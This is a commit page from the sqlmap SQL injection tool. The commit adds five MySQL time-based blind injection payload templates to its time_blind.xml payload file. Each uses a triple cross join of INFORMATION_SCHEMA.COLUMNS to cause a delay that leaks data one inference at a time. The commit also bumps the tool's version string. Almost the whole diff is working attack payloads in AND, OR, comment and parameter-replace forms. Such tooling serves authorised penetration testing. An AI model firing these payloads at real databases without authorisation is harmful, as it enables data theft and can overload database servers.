Skip to content

Commit 4cc6afe

Browse files
stamparmstamparm
committed
Adding proper heavy query payload for MySQL
1 parent 8d98347 commit 4cc6afe

File tree

2 files changed

+103
-1
lines changed

2 files changed

+103
-1
lines changed

‎data/xml/payloads/time_blind.xml

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -188,6 +188,26 @@
188188
</details>
189189
</test>
190190

191+
<test>
192+
<title>MySQL &gt; 5.0.12 AND time-based blind (heavy query)</title>
193+
<stype>5</stype>
194+
<level>3</level>
195+
<risk>2</risk>
196+
<clause>1,2,3,8,9</clause>
197+
<where>1</where>
198+
<vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
199+
<request>
200+
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
201+
</request>
202+
<response>
203+
<time>[DELAYED]</time>
204+
</response>
205+
<details>
206+
<dbms>MySQL</dbms>
207+
<dbms_version>&gt; 5.0.12</dbms_version>
208+
</details>
209+
</test>
210+
191211
<test>
192212
<title>MySQL &lt; 5.0.12 OR time-based blind (BENCHMARK)</title>
193213
<stype>5</stype>
@@ -208,6 +228,26 @@
208228
</details>
209229
</test>
210230

231+
<test>
232+
<title>MySQL &gt; 5.0.12 OR time-based blind (heavy query)</title>
233+
<stype>5</stype>
234+
<level>3</level>
235+
<risk>3</risk>
236+
<clause>1,2,3,9</clause>
237+
<where>1</where>
238+
<vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
239+
<request>
240+
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
241+
</request>
242+
<response>
243+
<time>[DELAYED]</time>
244+
</response>
245+
<details>
246+
<dbms>MySQL</dbms>
247+
<dbms_version>&gt; 5.0.12</dbms_version>
248+
</details>
249+
</test>
250+
211251
<test>
212252
<title>MySQL &lt; 5.0.12 AND time-based blind (BENCHMARK - comment)</title>
213253
<stype>5</stype>
@@ -229,6 +269,27 @@
229269
</details>
230270
</test>
231271

272+
<test>
273+
<title>MySQL &gt; 5.0.12 AND time-based blind (heavy query - comment)</title>
274+
<stype>5</stype>
275+
<level>5</level>
276+
<risk>2</risk>
277+
<clause>1,2,3,9</clause>
278+
<where>1</where>
279+
<vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
280+
<request>
281+
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
282+
<comment>#</comment>
283+
</request>
284+
<response>
285+
<time>[DELAYED]</time>
286+
</response>
287+
<details>
288+
<dbms>MySQL</dbms>
289+
<dbms_version>&gt; 5.0.12</dbms_version>
290+
</details>
291+
</test>
292+
232293
<test>
233294
<title>MySQL &lt; 5.0.12 OR time-based blind (BENCHMARK - comment)</title>
234295
<stype>5</stype>
@@ -250,6 +311,27 @@
250311
</details>
251312
</test>
252313

314+
<test>
315+
<title>MySQL &gt; 5.0.12 OR time-based blind (heavy query - comment)</title>
316+
<stype>5</stype>
317+
<level>5</level>
318+
<risk>3</risk>
319+
<clause>1,2,3,9</clause>
320+
<where>1</where>
321+
<vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
322+
<request>
323+
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
324+
<comment>#</comment>
325+
</request>
326+
<response>
327+
<time>[DELAYED]</time>
328+
</response>
329+
<details>
330+
<dbms>MySQL</dbms>
331+
<dbms_version>&gt; 5.0.12</dbms_version>
332+
</details>
333+
</test>
334+
253335
<test>
254336
<title>MySQL &gt;= 5.0.12 RLIKE time-based blind</title>
255337
<stype>5</stype>
@@ -1519,6 +1601,26 @@
15191601
</details>
15201602
</test>
15211603

1604+
<test>
1605+
<title>MySQL &gt; 5.0.12 time-based blind - Parameter replace (heavy query - comment)</title>
1606+
<stype>5</stype>
1607+
<level>5</level>
1608+
<risk>2</risk>
1609+
<clause>1,2,3,9</clause>
1610+
<where>1</where>
1611+
<vector>IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
1612+
<request>
1613+
<payload>(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
1614+
</request>
1615+
<response>
1616+
<time>[DELAYED]</time>
1617+
</response>
1618+
<details>
1619+
<dbms>MySQL</dbms>
1620+
<dbms_version>&gt; 5.0.12</dbms_version>
1621+
</details>
1622+
</test>
1623+
15221624
<test>
15231625
<title>MySQL time-based blind - Parameter replace (bool)</title>
15241626
<stype>5</stype>

‎lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty.six import unichr as _unichr
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.5.11.6"
23+
VERSION = "1.5.11.7"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

0 commit comments

Comments
 (0)